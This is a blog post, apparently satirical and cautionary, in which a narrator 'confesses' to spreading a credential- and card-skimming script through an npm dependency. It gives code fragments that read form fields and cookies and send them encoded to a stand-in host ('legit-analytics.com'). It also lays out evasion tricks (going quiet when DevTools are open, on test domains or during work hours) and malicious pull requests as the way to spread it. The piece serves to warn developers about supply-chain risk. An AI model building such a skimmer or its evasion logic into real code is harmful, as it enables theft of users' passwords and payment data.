I’m harvesting credit card numbers and passwords from your site. Here’s how.

The following is a true story. Or maybe it’s just based on a true story. Perhaps it’s not true at all.


It’s been a frantic week of security scares — it seems like every day there’s a new vulnerability. It’s been a real struggle for me personally to pretend like I understand what’s going on when asked about it by family members.

Seeing people close to me get all flustered at the prospect of being “powned” has really put things in perspective for me.

So, it is with a heavy heart that I’ve decided to come clean and tell you all how I’ve been stealing usernames, passwords and credit card numbers from your sites for the past few years.

The malicious code itself is very simple, it does its best work when it runs on a page that meets the following criteria:

  • The page has a <form>
  • an element matches input[type="password"] or name="cardnumber" or name="cvc" etc.
  • The page contains words like “credit card”, “checkout”, “login”, “password” etc.

Then, when there’s a blur event on a password/credit card field, or a form submit event is heard, my code:

  • Takes data from all form fields (document.forms.forEach(…)) on the page
  • Grabs document.cookie
  • It turns all that into a random looking string const payload = btoa(JSON.stringify(sensitiveUserData))
  • Then sends it off to `https://legit-analytics.com?q=${payload}` (not the real domain, of course)

In short, if it looks like data that might be even remotely valuable to me, I send it off to my server.


Of course, when I first wrote this code, back in 2015, it was of no use at all sitting on my computer. I needed to get it out into the world. Out into your site.

In some wise words from Google:

If an attacker successfully injects any code at all, it’s pretty much game over

XSS is too small scale, and really well protected against.

Chrome Extensions are too locked down.

Lucky for me, we live in an age where people install npm packages like they’re popping pain killers.


So, npm was to be my distribution method. I would need to come up with some borderline-useful package that people would install without thinking — my Trojan horse.

People love pretty colours — it’s what separates us from dogs — so I wrote a package that lets you log to the console in a any colour.

Source, if you must.

I was excited at this point — I had a compelling package — but I didn’t want to wait around while people slowly discovered it and spread the word. So I set about making PRs to existing packages that added my colourful package to their dependencies.

I’ve now made several hundred PRs (various user accounts, no, none of them as “David Gilbertson”) to various frontend packages and their dependencies. “Hey, I’ve fixed issue x and also added some logging.”

Look ma, I’m contributing to open source!

There are a lot of sensible people out there that tell me they don’t want a new dependency, but that was to be expected, it’s a numbers game.

Overall, the campaign has been a big success and my colourful console code is now directly depended on by 23 packages. One of those packages is itself depended upon by a pretty widely used package — my cash cow. I won’t mention any names, but you could say it’s left-padding the coffers.

And this is just one package. I have 6 more on the boil.

I’m now getting about 120,000 downloads a month, and I’m proud to announce, my nasty code is executing daily on thousands of sites, including a handful of Alexa-top-1000 sites, sending me torrents of usernames, passwords and credit card details.


Looking back on these golden years, I can’t believe that people exert so much effort messing around with cross-site scripting just to get code into a single site. It’s so easy to ship malicious code to thousands of websites, with a little help from my web developer friends.

Some objections you might have to my blatant fear mongering…

I’d notice the network requests going out!

Where would you notice them? My code won’t send anything when the DevTools are open (yes even if un-docked).

I call this the Heisenberg Manoeuvre: by trying to observe the behaviour of my code, you change the behaviour of my code.

It also stays silent when running on localhost or any IP address, or where the domain contains dev, test, qa, uat or staging (surrounded by \b word boundaries).

Our penetration testers would see it in their HTTP request monitoring tools!

What hours do they work? My code doesn’t send anything between 7am and 7pm. It halves my haul, but 95% reduces my chances of getting caught.

And I only need your credentials once. So after I’ve sent a request for a device I make a note of it (local storage and cookies) and never send for that device again. Replication is not made easy.

Even if some studious little pen tester clears cookies and local storage constantly, I only send these requests intermittently (about one in seven times, lightly randomised — the ideal trouble-shooting-insanity-inducing frequency).

Also the URL looks a lot like the 300 other requests to ad networks your site makes.

The point is, just because you don’t see it, doesn’t mean it’s not happening. It’s been more than two years and as far as I know, no one has ever noticed one of my requests. Maybe it’s been in your site this whole time 🙂

(Fun fact, when I go through all the passwords and credit card numbers I’ve collected and bundle them up to be sold on the dark web, I have to do a search for my credit card numbers and usernames in case I’ve captured myself. Isn’t that funny!

Read the rest here

Leave a Reply

This site uses Akismet to reduce spam. Learn how your comment data is processed.